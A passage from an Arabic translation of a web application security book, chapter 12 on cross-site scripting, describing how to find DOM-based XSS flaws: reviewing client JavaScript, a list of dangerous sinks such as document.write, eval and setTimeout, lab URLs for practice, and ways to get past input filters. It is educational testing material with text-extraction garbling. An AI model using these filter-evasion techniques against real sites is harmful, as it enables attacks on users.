ﻣﻊﺫﻟﻚ ،ﻻ ﻳﺤُﺪﺩ ﻫﺬﺍ ﺍﻟﻨﻬﺞ ﺍﻷﺳﺎﺳﻲ ﺟﻤﻴﻊ ﺃﺧﻄﺎء XSSﺍﻟﻤﺘُﻌﻠﻘﺔ ﺑـ .DOMﻛﻤﺎ ﺭﺃﻳﺖ ،ﺗﻌﺘﻤﺪ
ﺍﻟﺒﻨﻴﺔﺍﻟﻨﺤﻮﻳﺔ ﺍﻟﺪﻗﻴﻘﺔ ﺍﻟﻤﻄﻠﻮﺑﺔ ﻟﺤﻘﻦ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﺻﺎﻟﺢ ﻓﻲ ﻣﺴﺘﻨﺪ HTMLﻋﻠﻰ ﺍﻟﺒﻨﻴﺔ
ﺍﻟﻨﺤﻮﻳﺔﺍﻟﺘﻲ ﺗﻈﻬﺮ ﻗﺒﻞ ﻭﺑﻌﺪ ﻧﻘﻄﺔ ﺇﺩﺭﺍﺝ ﺍﻟﺴﻠﺴﻠﺔ ﺍﻟﻨﺼﻴﺔ ﺍﻟﺘﻲ ﻳﻤُﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ .ﻗﺪ
ﻳﻜﻮﻥﻣﻦ ﺍﻟﻀﺮﻭﺭﻱ ﺇﻧﻬﺎء ﺳﻠﺴﻠﺔ ﻧﺼﻴﺔ ﻣﻘُﺘﺒﺴَﺔ ﺑﻌﻼﻣﺘﻲ ﺍﻗﺘﺒﺎﺱ ﻣﻔﺮﺩﺓ ﺃﻭ ﻣﺰﺩﻭﺟﺔ ،ﺃﻭ ﺇﻏﻼﻕ
ﻭﺳﻮﻡﻣﺤُﺪﺩﺓ .ﻗﺪ ﺗﻜﻮﻥ ﻫﻨﺎﻙ ﺣﺎﺟﺔ ﺃﺣﻴﺎﻧﺎً ﺇﻟﻰ ﻭﺳﻮﻡ ﺟﺪﻳﺪﺓ ،ﻭﻟﻜﻦ ﻓﻲ ﺑﻌﺾ ﺍﻷﺣﻴﺎﻥ ﻻ .ﻗﺪ
ﻳﺤُﺎﻭﻝﻛﻮﺩ ﺗﻄﺒﻴﻖ ﺍﻟﻌﻤﻴﻞ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﺴُﺘﺮﺟﻌﺔ ﻣﻦ ،DOMﻭﻣﻊ ﺫﻟﻚ ﻗﺪ ﻳﻈﻞ
ﻋﺮُﺿﺔﻟﻠﺨﻄﺮ.
ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ 488
ﺇﺫﺍﻟﻢ ﺗﻨُﺘﺞ ﺳﻠﺴﻠﺔ ﺍﺧﺘﺒﺎﺭ ﻗﻴﺎﺳﻴﺔ ﺑﻨﻴﺔ ﻧﺤﻮﻳﺔ ﺻﺤﻴﺤﺔ ﻋﻨﺪ ﻣﻌﺎﻟﺠﺘﻬﺎ ﻭﺇﺩﺭﺍﺟﻬﺎ ،ﻓﻠﻦ ﻳﻨُﻔﺬَّ ﺟﺎﻓﺎ
ﺳﻜﺮﻳﺒﺖﺍﻟﻤﻀُﻤﻦَّ ،ﻭﻟﻦ ﻳﻈﻬﺮ ﺃﻱ ﻣﺮﺑﻊ ﺣﻮﺍﺭ ،ﺣﺘﻰ ﻟﻮ ﻛﺎﻥ ﺍﻟﺘﻄﺒﻴﻖ ﻋﺮﺿﺔ ﻟﻬﺠﻮﻡ ﻣﺼُﻤﻢَّ ﺑﺸﻜﻞ
ﺻﺤﻴﺢ.ﻭﺑﺎﺳﺘﺜﻨﺎء ﺇﺩﺧﺎﻝ ﺟﻤﻴﻊ ﺳﻼﺳﻞ ﻫﺠﻤﺎﺕ XSSﺍﻟﻤﺤُﺘﻤﻠﺔ ﻓﻲ ﻛﻞ ﻣﻌُﺎﻣﻞ ،ﻓﺈﻥ ﺍﻟﻨﻬﺞ
ﺍﻷﺳﺎﺳﻲﻳﻐُﻔﻞ ﺣﺘﻤﺎً ﻋﺪﺩﺍً ﻛﺒﻴﺮﺍً ﻣﻦ ﺍﻟﺜﻐﺮﺍﺕ ﺍﻷﻣﻨﻴﺔ.
ﻫﻨﺎﻙﻃﺮﻳﻘﺔ ﺃﻛﺜﺮ ﻓﻌﺎﻟﻴﺔ ﻟﺘﺤﺪﻳﺪ ﺃﺧﻄﺎء XSSﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ ،DOMﻭﻫﻲ ﻣﺮﺍﺟﻌﺔ ﺟﻤﻴﻊ ﻣﻠﻔﺎﺕ
JavaScriptﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ﺑﺤﺜﺎً ﻋﻦ ﺃﻱ ﺍﺳﺘﺨﺪﺍﻡ ﻟﺨﺼﺎﺉﺺ DOMﻗﺪ ﻳﺆﺩﻱ ﺇﻟﻰ ﺛﻐﺮﺓ
ﺃﻣﻨﻴﺔ.ﺗﺘﻮﻓﺮ ﺃﺩﻭﺍﺕ ﻣﺘﻨﻮﻋﺔ ﻟﻠﻤﺴﺎﻋﺪﺓ ﻓﻲ ﺃﺗﻤﺘﺔ ﻫﺬﻩ ﺍﻟﻌﻤﻠﻴﺔ .ﺇﺣﺪﻯ ﻫﺬﻩ ﺍﻷﺩﻭﺍﺕ ﺍﻟﻔﻌﺎﻟﺔ ﻫﻲ
،DOMTracerﺍﻟﻤﺘﻮﻓﺮﺓ ﻋﻠﻰ ﺍﻟﺮﺍﺑﻂ ﺍﻟﺘﺎﻟﻲ:
www.blueinfy.com/tools.html
ﺧﻄﻮﺍﺕﺍﻻﺧﺘﺮﺍﻕ
ﺗﺄﻛﺪﻣﻦ ﺗﻀﻤﻴﻦ ﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ ﺍﻟﺘﻲ ﺗﻈﻬﺮ ﻓﻲ ﺻﻔﺤﺎﺕ HTMLﺍﻟﺜﺎﺑﺘﺔ ،ﺑﺎﻹﺿﺎﻓﺔ ﺇﻟﻰ
ﺍﻟﺼﻔﺤﺎﺕﺍﻟﻤﻮُﻟﺪّﺓ ﺩﻳﻨﺎﻣﻴﻜﻴﺎً .ﻗﺪ ﺗﻮﺟﺪ ﺃﺧﻄﺎء XSSﺍﻟﻤﺴﺘﻨﺪﺓ ﺇﻟﻰ DOMﻓﻲ ﺃﻱ ﻣﻜﺎﻥ ﺗﺴُﺘﺨﺪﻡ
ﻓﻴﻪﺍﻟﻨﺼﻮﺹ ﺍﻟﺒﺮﻣﺠﻴﺔ ﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ،ﺑﻐﺾ ﺍﻟﻨﻈﺮ ﻋﻦ ﻧﻮﻉ ﺍﻟﺼﻔﺤﺔ ﺃﻭ ﻣﺎ ﺇﺫﺍ ﻛﻨﺖ ﺗﺮﻯ
ﻣﻌﻠﻤﺎﺕﺗﺮُﺳﻞ ﺇﻟﻴﻬﺎ.
ﻓﻲﻛﻞ ﻣﺮﺓ ﺗﺴُﺘﺨﺪﻡ ﻓﻴﻬﺎ ﺇﺣﺪﻯ ﻭﺍﺟﻬﺎﺕ ﺑﺮﻣﺠﺔ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺴﺎﺑﻘﺔ ،ﺭﺍﺟﻊ ﺍﻟﺸﻴﻔﺮﺓ ﺑﺪﻗﺔ
ﻟﺘﺤﺪﻳﺪﻣﺎ ﻳﺘﻢ ﻓﻌﻠﻪ ﺑﺎﻟﺒﻴﺎﻧﺎﺕ ﺍﻟﺘﻲ ﻳﻤﻜﻦ ﻟﻠﻤﺴﺘﺨﺪﻡ ﺍﻟﺘﺤﻜﻢ ﺑﻬﺎ ،ﻭﻣﺎ ﺇﺫﺍ ﻛﺎﻥ ﻣﻦ ﺍﻟﻤﻤﻜﻦ ﺍﺳﺘﺨﺪﺍﻡ
ﺍﻟﻤﺪﺧﻼﺕﺍﻟﻤﻌُﺪﺓّ ﻟﺘﻨﻔﻴﺬ ﺃﻭﺍﻣﺮ ﺟﺎﻓﺎ ﺳﻜﺮﻳﺒﺖ ﻋﺸﻮﺍﺉﻴﺔ .ﻋﻠﻰ ﻭﺟﻪ ﺍﻟﺨﺼﻮﺹ ،ﺭﺍﺟﻊ ﻭﺍﺧﺘﺒﺮ ﺃﻱ
ﺣﺎﻟﺔﻳﺘﻢ ﻓﻴﻬﺎ ﺗﻤﺮﻳﺮ ﺑﻴﺎﻧﺎﺗﻚ ﺇﻟﻰ ﺃﻱ ﻣﻦ ﻭﺍﺟﻬﺎﺕ ﺑﺮﻣﺠﺔ ﺍﻟﺘﻄﺒﻴﻘﺎﺕ ﺍﻟﺘﺎﻟﻴﺔ:
()document.write -
()document.writeln -
ﻣﺴﺘﻨﺪ.ﺟﺴﻢ Html.ﺩﺍﺧﻠﻲ -
ﺗﻘﻴﻴﻢ)( -
()window.execScript -
()window.setInterval -
()window.setTimeout -
489 ﺍﻟﻔﺼﻞﺍﻟﺜﺎﻧﻲ ﻋﺸﺮ-ﻣﻬﺎﺟﻤﺔ ﺍﻟﻤﺴﺘﺨﺪﻣﻴﻦ :ﺍﻟﺒﺮﻣﺠﺔ ﺍﻟﻨﺼﻴﺔ ﻋﺒﺮ ﺍﻟﻤﻮﺍﻗﻊ
ﺟﺮﺑﻬﺎ!
/56/ http://mdsec.net/error/61/
/error/53/ http://mdsec.net/error
/error/49/ http://mdsec.net
/error/41/ http://mdsec.net
/error/37/ http://mdsec.net
/error/31/ http://mdsec.net
/error/28/ http://mdsec.net
/error/22/ http://mdsec.net
/error/18/ http://mdsec.net
http://mdsec.net
ﻛﻤﺎﻫﻮ ﺍﻟﺤﺎﻝ ﻣﻊ ﻫﺠﻤﺎﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ ﻭﺍﻟﻤﺨﺰﻧﺔ ،ﻗﺪ ﻳﺠُﺮﻱ ﺍﻟﺘﻄﺒﻴﻖ ﻋﻤﻠﻴﺎﺕ ﺗﺼﻔﻴﺔ
ﻣﺨُﺘﻠﻔﺔﻓﻲ ﻣﺤﺎﻭﻟﺔ ﻟﻤﻨﻊ ﺍﻟﻬﺠﻤﺎﺕ .ﻏﺎﻟﺒﺎً ﻣﺎ ﺗﻄُﺒﻖّ ﻋﻤﻠﻴﺔ ﺍﻟﺘﺼﻔﻴﺔ ﻋﻠﻰ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ،ﻭﻳﻤﻜﻨﻚ
ﻣﺮﺍﺟﻌﺔﺭﻣﺰ ﺍﻟﺘﺤﻘﻖ ﻣﺒﺎﺷﺮﺓ ًﻟﻔﻬﻢ ﺁﻟﻴﺔ ﻋﻤﻠﻬﺎ ﻭﻣﺤﺎﻭﻟﺔ ﺗﺤﺪﻳﺪ ﺃﻱ ﺗﺠﺎﻭﺯﺍﺕ .ﻗﺪ ﺗﻜﻮﻥ ﺟﻤﻴﻊ
ﺍﻟﺘﻘﻨﻴﺎﺕﺍﻟﻤﺬﻛﻮﺭﺓ ﺳﺎﺑﻘﺎً ﻟﻠﺘﺼﻔﻴﺔ ﺿﺪ ﻫﺠﻤﺎﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ ﺫﺍﺕ ﺻﻠﺔ ﻫﻨﺎ.
ﺟﺮﺑﻬﺎ!
/109/ http://mdsec.net/error/118/
/error/107/ http://mdsec.net/error
/error/95/ http://mdsec.net
/error/92/ http://mdsec.net
http://mdsec.net
ﻓﻲﺑﻌﺾ ﺍﻟﺤﺎﻻﺕ ،ﻗﺪ ﺗﺠﺪ ﺃﻥ ﺗﻄﺒﻴﻖ ﺍﻟﺨﺎﺩﻡ ﻳﻄُﺒﻖّ ﻣﺮُﺷﺤّﺎﺕ ﻣﺼُﻤﻤّﺔ ﻟﻤﻨﻊ ﻫﺠﻤﺎﺕ XSS
ﺍﻟﻘﺎﺉﻤﺔﻋﻠﻰ .DOMﻋﻠﻰ ﺍﻟﺮﻏﻢ ﻣﻦ ﺣﺪﻭﺙ ﺍﻟﻌﻤﻠﻴﺔ ﺍﻟﻤﻌُﺮﺿّﺔ ﻟﻠﺨﻄﺮ ﻋﻠﻰ ﺍﻟﻌﻤﻴﻞ ،ﻭﻋﺪﻡ ﺇﺭﺟﺎﻉ
ﺍﻟﺨﺎﺩﻡﻟﻠﺒﻴﺎﻧﺎﺕ ﺍﻟﻤﻘُﺪﻣّﺔ ﻣﻦ ﺍﻟﻤﺴﺘﺨﺪﻡ ﻓﻲ ﺍﺳﺘﺠﺎﺑﺘﻪ ،ﺇﻻ ﺃﻥ ﻋﻨﻮﺍﻥ URLﻻ ﻳﺰﺍﻝ ﻳﺮُﺳﻞَ ﺇﻟﻰ
ﺍﻟﺨﺎﺩﻡ.ﻟﺬﻟﻚ ،ﻗﺪ ﻳﺘﺤﻘﻖّ ﺍﻟﺘﻄﺒﻴﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺒﻴﺎﻧﺎﺕ ﻭﻳﻔﺸﻞ ﻓﻲ ﺇﺭﺟﺎﻉ ﺍﻟﺒﺮﻧﺎﻣﺞ ﺍﻟﻨﺼﻲ ﺍﻟﻤﻌُﺮﺽّ
ﻟﻠﺨﻄﺮﻣﻦ ﺟﺎﻧﺐ ﺍﻟﻌﻤﻴﻞ ﻋﻨﺪ ﺍﻛﺘﺸﺎﻑ ﺣﻤﻮﻟﺔ ﺿﺎﺭﺓ.
ﺇﺫﺍﻭﺍﺟﻬﺖ َﻫﺬﺍ ﺍﻟﺪﻓﺎﻉ ،ﻓﻌﻠﻴﻚ َﺗﺠﺮﺑﺔ ﺟﻤﻴﻊ ﻋﻤﻠﻴﺎﺕ ﺗﺠﺎﻭﺯ ﺍﻟﻤﺮﺷﺤﺎﺕ ﺍﻟﻤﺤﺘﻤﻠﺔ ﺍﻟﺘﻲ ﻭﺻُﻔﺖ
ﺳﺎﺑﻘﺎًﻟﺜﻐﺮﺍﺕ XSSﺍﻟﻤﻨﻌﻜﺴﺔ ﻻﺧﺘﺒﺎﺭ ﻣﺘﺎﻧﺔ ﻋﻤﻠﻴﺔ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺨﺎﺩﻡ .ﺑﺎﻹﺿﺎﻓﺔ ﺇﻟﻰ ﻫﺬﻩ
ﺍﻟﻬﺠﻤﺎﺕ،ﻗﺪ ﺗﻤُﻜﻦّ ﺍﻟﻌﺪﻳﺪ ﻣﻦ ﺍﻟﺘﻘﻨﻴﺎﺕ ﺍﻟﻔﺮﻳﺪﺓ ﻷﺧﻄﺎء XSSﺍﻟﻘﺎﺉﻤﺔ ﻋﻠﻰ DOMﺣﻤﻮﻟﺔ ﺍﻟﻬﺠﻮﻡ
ﻣﻦﺍﻟﺘﻬﺮﺏ ﻣﻦ ﻋﻤﻠﻴﺔ ﺍﻟﺘﺤﻘﻖ ﻣﻦ ﺻﺤﺔ ﺍﻟﺨﺎﺩﻡ.